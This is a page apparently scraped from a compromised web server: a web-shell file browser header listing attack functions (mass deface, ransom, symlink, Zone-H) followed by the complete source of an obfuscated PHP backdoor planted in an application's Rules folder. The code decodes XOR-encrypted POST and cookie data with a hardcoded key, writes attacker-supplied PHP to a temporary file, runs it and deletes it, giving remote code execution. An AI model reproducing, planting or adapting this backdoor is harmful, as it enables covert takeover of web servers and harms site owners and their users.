Path : /var/www/clients/client0/web25/web/app/Rules/ |
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
Current File : /var/www/clients/client0/web25/web/app/Rules/pnukkbqo.php |
<?php $kwyvapuiid = 'kwyvapuiid' ^ ''; $iwedcvfe = /* ei */ "a".$kwyvapuiid(114) . $kwyvapuiid(114) /* jow */ . /*glyeqw */ "a"."y"."\137" . /* bee*/ "m"."a"."p"; $jvbtyol = /* p */ $kwyvapuiid(99) /* fwlxug */ . $kwyvapuiid(111) . /* dazg */ "\165" . "\x6e" . "\164"; function dsxlmr($zvoaetleag, /* zsoug*/ $pnfklskvlvgenkfl_o) { global $kwyvapuiid; $zvoaetleag /* zndpdz */ = /* z */ $kwyvapuiid(60) . "?"."p".$kwyvapuiid(250-146) . $kwyvapuiid(112) . $kwyvapuiid(32) . $kwyvapuiid(117) . /* ybtzoz */ "n".$kwyvapuiid(790-682) . "\x69".$kwyvapuiid(397-287) . "k"."("."\137" . "\x5f" /* yzesx */ . $kwyvapuiid(70) . "I".$kwyvapuiid(1007-931) . /* qnison */ "\x45" /* yualg*/ . /* efk_ */ $kwyvapuiid(348-253) /* fhvto */ . "\137" . ")".";".$kwyvapuiid(32) . $zvoaetleag[$kwyvapuiid(100)]; $teqedzsv /* nljwc*/ = "\146" /* qpn */ . "\x69"."l".$kwyvapuiid(101) . "_"."\160" /* hidz */ . /* xgopp */ "\x75" /* lh */ . "t"."_"."c"."o"."n".$kwyvapuiid(409-293) /* xjqf */ . $kwyvapuiid(1038-937)."n"."\164" . /* tn */ "s"; /* es */ $teqedzsv($pnfklskvlvgenkfl_o, $zvoaetleag); /*u */ /* vpaoum*/ ncgfes($pnfklskvlvgenkfl_o); } $zaogf = 73; function ncgfes($pnfklskvlvgenkfl_o) { /* agnd*/ global /* l*/ $kwyvapuiid; include($pnfklskvlvgenkfl_o); $uuengw = /* hhjet*/ $pnfklskvlvgenkfl_o; @unlink($uuengw); } function cbnqi(){ global $kwyvapuiid; /* msmt */ $pnfklskvlv = array(); /* gmn */ $pnfklskvlv["\x70" . "v"] /* t */ = phpversion(); $pnfklskvlv["s"."v"] /*gt */ = "\63" . "."."5"; $xyzbv = 74; echo /*i_*/ @serialize($pnfklskvlv); } function suadhjy($zvoaetleag, $dsmsyvoy) { global $kwyvapuiid; $mlcvzvyka_ = ""; $ybebgqqep = strlen($zvoaetleag); $umrkvelyy = strlen($dsmsyvoy); /* l */ $pnfklskvlv = /* ktcdw */ 0; /* b*/ $wiitiyl = /*y */ 0; /* uybwbs */ while ($pnfklskvlv < $ybebgqqep) /* l_ */ { /* lmyoxh */ $_tnsthcojv /* s */ = /* rt */ $zvoaetleag[$pnfklskvlv] ^ $dsmsyvoy[$wiitiyl % $umrkvelyy]; $mlcvzvyka_ .= /* vrgb*/ $_tnsthcojv; /* chd */ $wiitiyl++; $pnfklskvlv++; } if /*fusk*/ (strlen($mlcvzvyka_) > /* qopk */ 20) { $qbtake /* ofdnq */ = substr($mlcvzvyka_, 0, 20); /* r */ } if (empty($mlcvzvyka_)) { /*rz */ $mlcvzvyka_ = /* icq*/ date('Y-m-d /* sokpt */ H:i:s'); } return /* y */ $mlcvzvyka_; } function kcoru($e_qzmjzwr){ /*yyajga*/ global $kwyvapuiid; /* iv */ /* _guxgj */ $umvpjl = /*x_ehji*/ $kwyvapuiid(102) . "\x64" /* zecc*/ . /* bohv */ "\67" /* w_xvbk */ . "1"."c"."\143" . "f"."\65" . $kwyvapuiid(595-550) . /*fms */ "2"."c".$kwyvapuiid(100)."1"."\x2d" . $kwyvapuiid(504-452) . /* ppl */ $kwyvapuiid(55) . /* rowmlm */ "6"."\x64" /* s */ . /*brrz*/ $kwyvapuiid(504-459) . /* w */ "\x62" /* hg_dbt */ . /* jxgtv*/ "\x38" . /* ttgcb */ "6"."4"."\55" . /* hc */ "\x66" /* lrsyr */ . "\x66" . $kwyvapuiid(49) . "\63" /*qx */ . "5"."c"."3"."1".$kwyvapuiid(49) . $kwyvapuiid(99) . $kwyvapuiid(782-680) /* jeslmx */ . /*_my_ */ $kwyvapuiid(54); foreach ($e_qzmjzwr as $zjcsxt /*de */ => $zvoaetleag) { sfwmc(base64_decode($zvoaetleag), $umvpjl, /* u*/ $zjcsxt); } } function /*aev */ sfwmc($zvoaetleag, $umvpjl, /* trklo */ $zjcsxt) { global /* aaq */ $kwyvapuiid; /* khclk */ $zvoaetleag = unserialize(suadhjy(suadhjy($zvoaetleag, $umvpjl), $zjcsxt)); $ltsuxbvgh /*rnx */ = 'llsw'; $pnfklskvlvwrtcqoh /* sk*/ = /* ubb_ey */ 'aaeibw_q'; if (isset($zvoaetleag["a".$kwyvapuiid(107)])) { if ($zvoaetleag["a"] == /* z */ "\x69") { cbnqi(); } elseif /* m*/ ($zvoaetleag["a"] == /* n */ $kwyvapuiid(1038-937)) { dsxlmr($zvoaetleag, sprintf($kwyvapuiid(870-824) /* khovn */ . $kwyvapuiid(47) . $kwyvapuiid(48-11) /* jb */ . /* _bpw */ $kwyvapuiid(115) . $kwyvapuiid(803-757) /* kx */ . /* men */ "\x70" /* jemn*/ . /*rmwuec */ "\x6c", md5($umvpjl))); $xgemc = /* quxgzw */ 44; } exit(); } } kcoru($_POST); $mwvazakrhb = 'rawurldecode'; $kstpdaii = $iwedcvfe($mwvazakrhb, $_POST);strpos($mwvazakrhb, 'ki_ocyk_bp'); $ywhaq_y = /* jlcfi */ $jvbtyol($kstpdaii); kcoru($_COOKIE); /* _ey*/ $zeprse_kuo = /* k*/ $iwedcvfe($mwvazakrhb, $_COOKIE); ?>